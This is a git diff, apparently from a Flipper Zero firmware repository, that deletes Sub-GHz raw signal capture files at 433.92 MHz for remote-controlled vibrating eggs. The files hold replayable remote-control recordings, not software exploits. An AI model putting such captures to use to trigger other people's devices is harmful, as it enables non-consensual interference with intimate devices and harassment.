3401 -1396 1793 -2990 3403 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -3002 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1599 -1598 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1601 -1596 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1795 -1394 3397 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -8002 1987 -2168 4109 -2272 4115 -2502 3705 -2690 3651 -2834 3423 -3016 -RAW_Data: 3403 -3002 3401 -3002 3401 -3002 3395 -3002 3407 -2996 3395 -2994 3401 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -3000 3407 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 3401 -2994 1801 -1400 3403 -2994 3401 -3002 1795 -1394 1797 -1402 3601 -1036 421 -848 843 -1518 1659 -2912 3565 -2984 3385 -2994 3395 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -2994 3403 -2994 3401 -3002 3393 -3004 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1597 -1594 1795 -1402 1801 -1400 3401 -2996 3401 -1396 1797 -3002 3407 -1404 1597 -1592 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 3401 -2994 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 1801 -1402 3393 -3002 3401 -3002 1597 -1594 3389 -7770 2021 -2912 3517 -3074 3245 -3022 3423 -3008 3411 -2998 3393 -2994 3401 -2994 3403 -3002 3393 -3002 3407 -2998 3393 -2994 3401 -3008 3397 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3393 -1402 1801 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -3004 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 -RAW_Data: 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -3002 1795 -1394 3399 -3002 3401 -2998 3405 -2996 3599 -1948 429 -20132 735 -734 1509 -192 387 -196272 217 -93450 441 -8180 183 -495896 381 -952 379 -594116 183 -209314 209 -296722 651 -199272 381 -98996 441 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub deleted file mode 100644 index c0f0041f8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 65 -5246 199 -567 361 -10844 65 -8118 133 -1698 65 -2878 97 -7080 65 -2140 63 -688 65 -6346 67 -7826 97 -358 99 -5240 65 -8886 65 -5256 97 -3564 65 -1722 101 -1000 97 -564 97 -3452 99 -10600 63 -1726 65 -3414 99 -954 65 -16644 99 -1650 99 -4996 97 -7468 65 -1558 129 -3934 65 -4848 99 -4418 131 -1742 99 -1546 131 -2670 99 -658 97 -1856 99 -1518 131 -2480 65 -3424 131 -2374 99 -4512 65 -6898 65 -4366 97 -5344 65 -1780 65 -1788 199 -3560 547 -1088 893 -610 403 -1088 915 -554 975 -546 441 -1062 947 -552 445 -1056 947 -534 985 -518 485 -1016 971 -550 471 -1020 481 -1014 491 -998 513 -998 481 -1006 505 -1000 1001 -520 975 -518 1007 -482 521 -984 1009 -492 513 -4870 1143 -3870 517 -994 1011 -482 521 -990 1009 -498 1013 -478 507 -1012 987 -486 513 -988 1009 -486 1019 -516 501 -982 1007 -488 521 -986 527 -978 509 -998 507 -984 517 -1000 511 -978 1013 -506 1007 -498 985 -512 503 -1004 989 -484 539 -4850 1131 -3890 521 -988 1009 -486 513 -1004 1001 -494 997 -482 541 -992 1009 -488 503 -982 1027 -478 1003 -488 535 -986 1009 -486 515 -1006 507 -978 501 -1000 517 -998 511 -976 517 -988 1019 -500 985 -512 1011 -494 521 -980 1015 -478 511 -4870 1145 -3884 497 -980 1005 -486 529 -988 1035 -482 1005 -474 517 -986 1017 -490 513 -1006 1003 -492 1001 -488 511 -990 1007 -486 537 -990 515 -974 515 -1008 479 -998 505 -994 519 -1000 1013 -482 1019 -476 1009 -492 513 -1012 1011 -488 515 -4858 1131 -3896 479 -1014 997 -488 541 -988 1003 -474 1029 -472 537 -984 1009 -486 515 -972 1033 -492 1001 -480 531 -980 999 -506 505 -986 521 -980 517 -1008 505 -1004 489 -986 511 -990 1041 -490 997 -478 1025 -480 509 -1006 1015 -488 517 -4872 1133 -3852 519 -980 1015 -510 507 -982 1029 -484 997 -514 513 -976 1017 -478 515 -1002 1009 -482 1017 -476 515 -998 1007 -480 539 -978 521 -982 525 -976 505 -1002 517 -970 513 -1012 1015 -478 1005 -488 1021 -500 519 -976 999 -506 489 -4896 1111 -3888 515 -1004 1001 -490 525 -978 1009 -482 1011 -488 523 -1000 1009 -482 521 -986 1011 -486 1009 -478 541 -978 999 -512 513 -994 513 -974 519 -990 515 -974 515 -1010 481 -1016 1003 -478 1023 -478 1035 -482 507 -988 1005 -504 523 -4836 1161 -3880 503 -1000 1001 -480 527 -978 1035 -484 1001 -476 517 -1004 1011 -480 519 -984 1009 -492 1005 -510 513 -976 1029 -490 515 -990 511 -974 517 -986 523 -978 515 -1012 483 -986 1017 -490 1013 -480 1045 -488 483 -1000 1011 -482 515 -4874 1151 -3886 481 -1008 1001 -490 519 -978 1023 -480 1005 -486 537 -984 1013 -490 513 -1004 -RAW_Data: 1003 -486 1011 -500 489 -1014 1009 -464 539 -984 523 -980 511 -978 521 -988 525 -976 507 -1012 985 -488 1041 -482 1007 -482 503 -1000 1031 -488 515 -4856 1127 -3878 523 -986 1019 -480 513 -1008 1001 -488 1015 -486 513 -978 1011 -502 519 -974 1009 -480 1045 -488 489 -1004 1007 -482 517 -986 505 -1018 499 -986 511 -1012 491 -988 509 -990 1039 -490 997 -478 1027 -480 511 -1014 989 -482 511 -4876 1159 -3880 491 -988 1003 -516 511 -978 1013 -488 1015 -486 515 -1004 1001 -492 503 -1002 1017 -462 1015 -516 481 -1014 1001 -480 529 -980 507 -1006 507 -986 503 -1008 503 -986 511 -1006 999 -488 1017 -488 1009 -480 511 -1002 1025 -486 505 -4876 1133 -3888 489 -1020 1009 -484 513 -978 1013 -488 1013 -488 515 -1006 1001 -490 505 -1008 995 -480 1035 -476 517 -986 1013 -488 513 -1008 481 -1012 503 -1002 515 -996 511 -976 523 -990 1009 -498 1015 -480 1011 -488 517 -970 1007 -510 507 -4852 1171 -3870 487 -1010 1011 -488 517 -974 1011 -480 1043 -488 525 -972 1009 -482 519 -986 1009 -504 1019 -480 515 -978 1021 -478 527 -978 507 -1012 489 -1002 515 -996 513 -970 503 -1000 1019 -482 1025 -478 1007 -486 531 -998 987 -492 517 -4870 1143 -3862 517 -1002 1011 -482 517 -998 997 -484 1035 -482 511 -972 1037 -488 517 -972 1011 -478 1033 -492 501 -998 1007 -502 487 -1010 505 -998 503 -1000 503 -988 509 -988 511 -1010 1015 -480 1011 -488 1009 -480 513 -998 1025 -486 505 -4872 1129 -3884 501 -1016 995 -480 513 -1004 999 -502 1007 -502 489 -1010 1009 -490 503 -990 1005 -516 1009 -484 489 -1028 1009 -462 515 -1008 505 -976 535 -986 513 -996 513 -976 519 -986 1013 -486 1011 -478 1029 -472 537 -990 1021 -460 515 -4874 1143 -3888 483 -1004 1007 -508 513 -978 997 -516 999 -480 511 -1008 1015 -470 535 -974 1033 -482 1003 -472 535 -1004 989 -488 513 -988 511 -1010 489 -998 517 -1000 511 -976 517 -990 1019 -500 981 -512 1011 -488 517 -974 1011 -480 513 -4888 1131 -3866 517 -1012 1011 -462 543 -982 1015 -476 1035 -482 505 -986 1009 -502 521 -976 1001 -486 1031 -480 515 -994 1007 -480 537 -982 503 -982 531 -980 507 -1006 501 -1000 505 -984 1025 -480 1003 -508 1017 -480 511 -998 1007 -482 515 -4870 1131 -3900 485 -1008 1001 -488 531 -988 997 -480 1039 -482 501 -1002 997 -488 513 -990 1039 -484 1019 -490 513 -956 1039 -482 505 -984 513 -1008 521 -974 505 -998 507 -990 515 -976 1015 -480 1043 -464 1027 -490 507 -988 1039 -450 533 -99578 133 -8750 195 -1184 65 -2674 99 -1018 65 -3354 99 -1656 99 -13590 97 -528 97 -1652 65 -2908 65 -1790 97 -66 131 -5042 67 -2854 65 -16716 -RAW_Data: 133 -66 99 -566 65 -4428 63 -6410 263 -166 67 -3248 163 -5662 65 -1586 133 -2822 131 -2180 99 -3620 65 -4168 65 -1656 97 -3404 97 -2138 65 -2614 99 -4812 97 -2578 65 -5298 65 -1610 63 -1870 131 -296 99 -990 65 -3702 65 -3358 65 -834 197 -1558 99 -302 101 -1188 99 -3458 165 -2352 65 -5412 65 -98 65 -6918 67 -1862 65 -1456 133 -1760 99 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub deleted file mode 100644 index 485b641d0..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 363 -654 131 -3412 133 -3876 131 -330 101 -4250 133 -5402 99 -3466 129 -1750 99 -5514 99 -6984 163 -3510 97 -7036 99 -8756 161 -430 63 -4778 131 -3446 99 -1656 67 -7126 65 -4264 67 -3506 65 -6998 65 -7112 67 -1282 99 -332 65 -1658 131 -436 65 -8352 97 -3568 99 -1694 197 -3448 65 -3614 99 -7078 65 -1914 65 -1396 97 -10676 197 -8778 67 -498 65 -4682 65 -534 131 -1588 133 -930 293 -1516 97 -1426 65 -864 65 -4944 65 -4510 65 -5674 65 -2260 65 -2294 65 -4178 99 -3598 99 -4932 97 -3578 65 -1364 65 -5634 99 -1748 99 -1596 67 -1986 99 -66 99 -1520 67 -1758 99 -3446 131 -5750 99 -1654 131 -1616 67 -66 99 -1328 65 -1648 131 -5340 65 -626 131 -1900 551 -1056 949 -554 445 -1042 967 -554 451 -1046 457 -1038 945 -532 989 -516 981 -550 973 -498 489 -1012 977 -540 475 -1036 475 -1008 487 -1008 507 -1000 475 -1032 473 -1032 979 -526 977 -514 1007 -474 499 -1016 997 -516 479 -4896 1143 -3858 517 -998 1007 -480 505 -1016 1019 -472 523 -976 509 -998 997 -504 1019 -480 1019 -474 1037 -482 505 -986 1031 -488 501 -986 511 -978 555 -956 529 -982 513 -976 535 -966 1031 -486 997 -514 1003 -472 539 -978 995 -492 515 -4890 1121 -3890 515 -970 1011 -512 481 -996 1031 -490 515 -988 511 -972 1011 -488 1015 -492 1009 -508 1005 -492 503 -986 1025 -480 509 -1006 507 -988 511 -1006 487 -1008 503 -1000 505 -988 1011 -502 1017 -476 1035 -450 529 -990 1005 -514 511 -4844 1145 -3868 529 -980 1031 -474 521 -992 1009 -498 485 -1010 513 -976 1029 -490 1015 -482 1009 -480 1011 -488 523 -998 1009 -482 519 -988 515 -996 513 -972 515 -988 513 -1012 485 -1012 1011 -488 1013 -498 983 -514 481 -1022 1011 -462 519 -4876 1143 -3862 517 -1000 1009 -482 517 -984 1015 -488 513 -1006 511 -966 1029 -478 1011 -492 1013 -514 1011 -488 489 -1002 1011 -482 519 -988 513 -1006 485 -1008 503 -1006 489 -990 543 -960 1007 -488 1023 -484 1037 -480 513 -974 1011 -502 521 -4850 1161 -3878 491 -998 1017 -496 487 -1010 1007 -492 503 -986 509 -988 1037 -484 1017 -482 1007 -486 1011 -478 537 -976 1021 -480 527 -980 511 -1002 487 -1022 513 -962 543 -976 521 -988 1011 -484 1013 -480 1013 -490 519 -994 1009 -482 519 -4864 1145 -3862 511 -1010 1015 -472 505 -986 1029 -480 509 -1010 489 -996 1031 -486 1027 -482 1007 -482 1015 -488 519 -996 1007 -482 523 -990 517 -970 515 -1008 477 -1002 531 -988 501 -986 1009 -488 1019 -482 1025 -480 509 -1012 1021 -490 481 -4866 1141 -3896 515 -972 1013 -478 539 -980 1025 -488 501 -986 511 -978 1023 -482 1039 -482 1003 -508 1007 -472 -RAW_Data: 503 -1022 1005 -484 515 -972 515 -1020 487 -1000 515 -972 517 -986 511 -1010 1017 -476 1005 -522 989 -500 487 -1014 1011 -462 541 -4860 1147 -3858 517 -984 1037 -474 525 -978 1005 -522 475 -1008 521 -974 1001 -488 1023 -488 1007 -516 1001 -472 539 -980 997 -522 511 -988 511 -972 515 -1000 503 -988 507 -988 509 -1006 997 -488 1017 -490 1011 -512 511 -972 1021 -480 529 -4858 1155 -3866 501 -984 1037 -484 491 -998 1005 -506 525 -976 507 -1008 985 -490 1039 -482 1009 -478 1033 -488 515 -972 1013 -482 511 -1000 503 -988 543 -988 509 -972 503 -1014 503 -998 1009 -500 1015 -478 1001 -490 503 -998 1011 -504 521 -4844 1139 -3882 521 -976 1009 -512 507 -976 1019 -482 529 -982 513 -978 1023 -484 1033 -482 1009 -482 1013 -508 515 -970 1005 -508 513 -976 503 -998 513 -1010 519 -980 513 -980 501 -1006 997 -482 1035 -472 1029 -474 535 -988 1007 -482 513 -4862 1153 -3872 503 -986 1035 -472 503 -1000 1027 -492 513 -988 511 -972 1029 -472 1029 -478 1009 -488 1007 -512 503 -1000 997 -504 505 -998 515 -968 513 -1012 515 -984 509 -982 525 -980 1011 -490 1009 -498 1015 -476 505 -1004 1017 -490 515 -4858 1155 -3860 521 -976 1011 -480 519 -986 1011 -490 513 -1006 507 -980 1027 -486 999 -480 1041 -484 1019 -480 515 -998 1007 -482 521 -994 521 -972 513 -976 515 -986 511 -1012 487 -1006 999 -508 1017 -480 1009 -486 515 -1008 1009 -462 533 -4866 1151 -3868 511 -976 1013 -490 519 -996 1003 -474 515 -1016 503 -988 999 -516 1005 -482 1033 -488 979 -492 517 -1006 1001 -490 501 -1000 517 -998 511 -972 533 -970 531 -976 509 -988 1039 -450 1023 -490 1009 -514 511 -972 1011 -504 503 -4888 1137 -3856 511 -1010 985 -516 499 -984 1005 -486 533 -998 503 -970 1039 -482 1005 -482 1043 -488 987 -492 515 -1004 1001 -490 501 -998 517 -1000 513 -972 507 -1014 507 -984 523 -976 1005 -486 1031 -490 1015 -482 511 -1008 1011 -490 483 -4868 1163 -3878 477 -1000 1031 -478 517 -998 1007 -480 505 -1012 523 -952 1051 -478 1009 -492 1001 -514 993 -480 511 -1012 987 -512 511 -996 511 -974 517 -984 519 -998 511 -976 519 -990 1019 -498 1011 -478 1009 -492 505 -986 1025 -476 511 -4876 1141 -3878 515 -996 1009 -484 521 -996 1009 -496 485 -1010 479 -1002 1025 -486 1005 -514 1009 -484 1021 -490 479 -1026 1007 -484 491 -998 503 -1020 501 -982 511 -1010 493 -1002 513 -996 1009 -484 1021 -488 1011 -482 513 -974 1013 -522 483 -4866 1155 -3878 487 -1018 1009 -484 513 -974 1009 -502 519 -980 515 -1012 1005 -474 1029 -490 1011 -482 1007 -482 505 -1016 997 -514 497 -980 509 -1008 487 -1018 511 -992 -RAW_Data: 513 -972 515 -1000 1001 -486 1007 -516 1005 -484 523 -984 1009 -486 513 -4876 1137 -3870 521 -976 1009 -478 541 -978 1027 -484 505 -982 507 -1002 1011 -488 1015 -488 1011 -512 1003 -494 503 -1002 1007 -484 513 -1008 483 -1016 485 -1016 487 -1012 481 -1014 505 -1000 1007 -486 1007 -504 1001 -508 493 -986 1003 -518 511 -80080 65 -5404 99 -866 65 -4716 99 -4938 63 -1350 65 -426 99 -560 97 -2698 131 -1646 135 -1552 133 -3422 227 -98 65 -1660 65 -468 101 -1362 99 -7594 97 -15792 133 -5336 67 -8872 65 -696 67 -5640 65 -1428 99 -6822 99 -5350 65 -10454 97 -17744 99 -6636 133 -9118 165 -466 199 -1588 99 -3454 133 diff --git a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub b/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub deleted file mode 100644 index 8aeaeb47c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 233 -930 65 -732 165 -236 67 -1792 63 -2832 131 -5346 165 -8960 97 -502 65 -498 133 -232 97 -3434 97 -3422 163 -3352 131 -3604 65 -4192 133 -6616 97 -860 65 -98 65 -892 97 -2382 363 -360 97 -230 359 -14522 99 -5440 1290 -2806 63 -2592 131 -1678 163 -1554 165 -1698 99 -18450 65 -264 99 -8122 65 -604 65 -2492 65 -4568 65 -3560 65 -1760 97 -5194 99 -6170 67 -9686 65 -3426 97 -5166 231 -132 63 -1498 99 -5262 99 -466 65 -13444 129 -4292 65 -1018 67 -6070 97 -19472 65 -5342 65 -13856 231 -524 63 -886 163 -1626 131 -1756 99 -9946 131 -3450 199 -232 99 -12244 99 -5318 65 -1778 99 -3804 167 -6416 63 -1844 65 -332 99 -1328 131 -1912 65 -3224 133 -166 541 -1080 911 -572 439 -1064 947 -552 445 -1076 943 -540 957 -550 449 -1044 971 -510 1003 -524 483 -1008 971 -550 445 -1036 487 -1010 477 -1012 505 -1002 511 -1006 483 -1014 1011 -486 1019 -462 1011 -508 509 -1006 999 -506 503 -4848 1137 -3882 509 -1012 989 -520 479 -988 1033 -474 517 -988 1015 -488 1009 -510 507 -976 1019 -480 1025 -480 511 -1008 1015 -492 513 -988 511 -974 513 -1000 503 -986 507 -990 511 -1008 1015 -472 1019 -500 1015 -474 505 -1002 999 -522 485 -4882 1133 -3880 501 -1002 1009 -486 511 -978 1039 -474 501 -988 1039 -482 1007 -478 539 -978 1027 -486 997 -480 509 -1002 1029 -472 503 -996 537 -974 505 -984 539 -968 505 -998 529 -974 1005 -516 1009 -480 999 -504 503 -988 1039 -480 511 -4850 1145 -3880 507 -988 1041 -450 537 -986 1011 -486 515 -978 1043 -466 1029 -488 501 -984 1039 -482 997 -504 523 -982 1015 -478 507 -1008 491 -998 521 -978 513 -1010 483 -1016 483 -1000 1011 -480 1041 -472 1029 -490 513 -990 1001 -474 539 -4840 1169 -3874 487 -1014 1011 -464 521 -1012 983 -514 513 -976 1029 -480 1007 -486 515 -1004 1001 -490 999 -522 481 -1022 1009 -486 491 -1020 511 -988 479 -1006 519 -988 521 -974 513 -976 1011 -502 1017 -500 1013 -478 507 -1010 987 -516 511 -4860 1133 -3884 521 -984 1017 -478 505 -978 1049 -484 501 -980 1031 -474 1013 -488 521 -1000 1007 -486 1017 -490 515 -988 1005 -482 519 -988 513 -978 515 -1006 505 -1002 491 -988 543 -958 1039 -484 1019 -472 1019 -500 485 -1010 1007 -490 503 -4886 1137 -3872 513 -972 1031 -488 517 -974 1007 -512 505 -978 1027 -486 1001 -514 511 -970 1033 -464 1029 -488 507 -988 1007 -486 529 -1004 511 -990 511 -972 517 -986 521 -978 517 -978 1043 -488 1011 -460 1047 -478 515 -976 1027 -484 503 -4874 1127 -3904 503 -1000 987 -506 523 -980 1013 -462 541 -984 1019 -476 1001 -486 535 -988 1019 -498 979 -510 -RAW_Data: 513 -974 1023 -488 509 -986 511 -1010 489 -1020 509 -992 479 -1008 517 -988 1009 -488 1007 -480 1031 -490 505 -998 1009 -488 513 -4864 1155 -3856 517 -998 1011 -482 519 -984 1021 -500 489 -1010 1011 -486 1021 -494 485 -1008 1001 -488 1029 -488 503 -984 1007 -522 507 -976 523 -974 509 -1006 503 -998 505 -996 515 -974 1009 -516 1007 -488 1019 -460 517 -1006 1003 -490 503 -4864 1161 -3872 513 -976 1015 -488 519 -998 1007 -480 503 -1014 993 -516 995 -512 513 -976 1015 -478 1011 -490 513 -1006 1001 -488 523 -982 527 -978 513 -978 527 -972 511 -1020 511 -970 1037 -466 1005 -504 1015 -478 509 -1008 1017 -482 513 -4868 1135 -3892 507 -980 1017 -476 507 -1006 1001 -504 515 -974 1013 -480 1047 -488 483 -1002 1013 -482 1011 -490 521 -1000 1013 -482 523 -986 515 -994 509 -974 517 -986 513 -1010 485 -1014 1013 -486 1011 -496 1015 -480 515 -980 999 -516 501 -4856 1155 -3862 519 -998 1011 -484 521 -988 1009 -486 515 -978 1013 -502 1007 -504 521 -982 1011 -488 1021 -460 517 -1008 1011 -488 523 -976 513 -974 515 -988 511 -1006 521 -974 507 -1006 999 -488 1013 -490 1039 -472 507 -1010 987 -482 543 -4848 1161 -3850 515 -988 1019 -502 521 -978 1007 -486 515 -1008 983 -512 1009 -496 507 -984 1019 -476 1037 -450 535 -998 997 -482 541 -988 511 -972 505 -1018 507 -982 523 -976 505 -1002 1015 -478 1011 -492 1009 -512 515 -982 1017 -476 525 -4852 1139 -3886 515 -972 1011 -512 515 -978 997 -514 511 -994 1003 -474 1041 -472 501 -1000 1007 -504 1019 -476 507 -1006 999 -488 521 -994 515 -976 515 -1000 521 -986 487 -1012 511 -970 1019 -480 1025 -478 1041 -450 527 -988 1007 -514 511 -4862 1147 -3864 507 -986 1037 -484 491 -1000 1019 -500 487 -1010 1011 -492 1003 -482 527 -976 1003 -516 997 -490 521 -998 1011 -482 489 -1030 487 -1000 511 -976 515 -1018 487 -1000 513 -974 1013 -506 1007 -500 1013 -474 507 -1000 997 -524 489 -4872 1131 -3874 521 -990 1021 -478 511 -1010 985 -522 479 -990 1039 -480 999 -488 521 -1000 1009 -482 1019 -490 517 -994 1007 -482 521 -988 515 -990 511 -978 517 -988 525 -976 513 -1008 1007 -464 1037 -478 1021 -476 507 -998 1033 -466 513 -4884 1121 -3886 521 -988 1009 -486 513 -974 1039 -472 503 -998 1005 -506 1015 -476 507 -1004 999 -524 985 -490 513 -1006 999 -490 505 -1006 501 -984 507 -1006 503 -1000 523 -986 489 -1012 1009 -492 1019 -478 1021 -476 509 -1006 1017 -488 515 -4864 1135 -3876 505 -986 1003 -516 481 -1008 1015 -486 517 -996 1013 -482 1017 -476 517 -1004 1009 -484 1013 -488 517 -996 1005 -474 507 -1014 505 -998 513 -1004 483 -1008 -RAW_Data: 505 -1002 507 -982 1009 -488 1009 -512 1003 -492 507 -982 1021 -478 509 -4894 1109 -3898 521 -976 1013 -480 519 -988 1009 -504 489 -1012 1013 -492 1005 -480 531 -978 1007 -522 1005 -474 525 -978 1007 -490 503 -1018 511 -992 475 -1002 503 -1012 503 -1004 511 -996 1003 -474 1009 -522 987 -492 515 -1008 1005 -474 531 -87672 65 -6472 97 -66 133 -24976 65 -8372 99 -166 231 -16008 67 -794 65 -3034 99 -2808 263 -5110 65 -14500 65 -7456 133 -3362 99 -3564 65 -20380 131 -6562 165 -7846 97 -788 131 -260 165 -10128 195 -460 65 -566 65 -3582 165 -7476 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub deleted file mode 100644 index 53b755847..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_down.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 353369 -652 719 -262 221 -736 673 -282 253 -688 711 -248 253 -726 239 -696 711 -260 223 -736 705 -248 253 -692 711 -248 253 -694 709 -282 255 -694 237 -694 247 -730 239 -714 235 -734 679 -260 249 -698 715 -248 251 -7726 713 -226 275 -694 701 -284 253 -688 711 -250 253 -692 709 -250 251 -696 273 -694 721 -228 247 -702 713 -284 255 -686 713 -250 253 -688 703 -248 289 -692 239 -694 283 -688 257 -694 253 -694 709 -262 257 -676 735 -250 253 -7692 717 -258 245 -698 715 -248 289 -686 711 -252 253 -690 711 -250 253 -690 255 -692 725 -244 279 -666 733 -252 245 -700 701 -262 241 -690 733 -250 251 -716 237 -700 281 -686 273 -662 281 -692 709 -250 253 -696 707 -246 289 -7676 731 -242 279 -668 715 -248 289 -686 681 -284 253 -684 705 -248 241 -728 247 -712 717 -234 241 -728 705 -230 261 -718 681 -284 253 -686 711 -250 247 -700 269 -698 255 -690 251 -696 279 -686 703 -280 211 -730 709 -226 275 -7730 713 -238 251 -702 711 -258 247 -696 705 -282 251 -686 711 -248 253 -724 237 -694 709 -260 223 -740 673 -280 253 -690 711 -246 253 -694 709 -280 255 -688 227 -728 255 -694 245 -726 227 -728 703 -246 249 -718 679 -282 253 -94110 99 -232 131 -234 65 -630 397 -132 429 -66 1587 diff --git a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub b/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub deleted file mode 100644 index a29885a82..000000000 --- a/assets/resources/subghz/Misc/Sextoy/LoveBox_Vibrating_Egg/Lovebox_lfrec.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 560520 -660 713 -260 245 -696 703 -284 253 -688 711 -250 253 -692 273 -694 713 -228 249 -702 737 -250 253 -690 709 -250 253 -694 707 -282 253 -696 225 -726 239 -700 263 -718 223 -724 247 -696 717 -228 275 -692 255 -7712 709 -244 255 -686 715 -240 291 -682 715 -224 241 -722 701 -280 247 -706 237 -700 717 -228 275 -696 717 -248 251 -718 679 -286 253 -686 713 -250 255 -694 273 -696 247 -690 255 -726 241 -698 263 -680 711 -284 253 -688 237 -7716 677 -282 253 -690 711 -248 253 -694 711 -246 253 -694 707 -280 255 -694 257 -696 703 -246 253 -722 677 -284 253 -688 711 -248 253 -694 709 -282 255 -690 235 -726 249 -686 257 -702 273 -706 239 -706 711 -250 251 -692 273 -7662 705 -278 253 -688 711 -240 291 -660 711 -254 243 -724 701 -242 281 -702 237 -702 711 -260 245 -698 719 -248 249 -712 677 -282 253 -686 705 -282 211 -730 241 -710 257 -692 251 -728 245 -686 255 -726 703 -246 249 -712 239 -7718 707 -276 253 -690 713 -240 255 -696 715 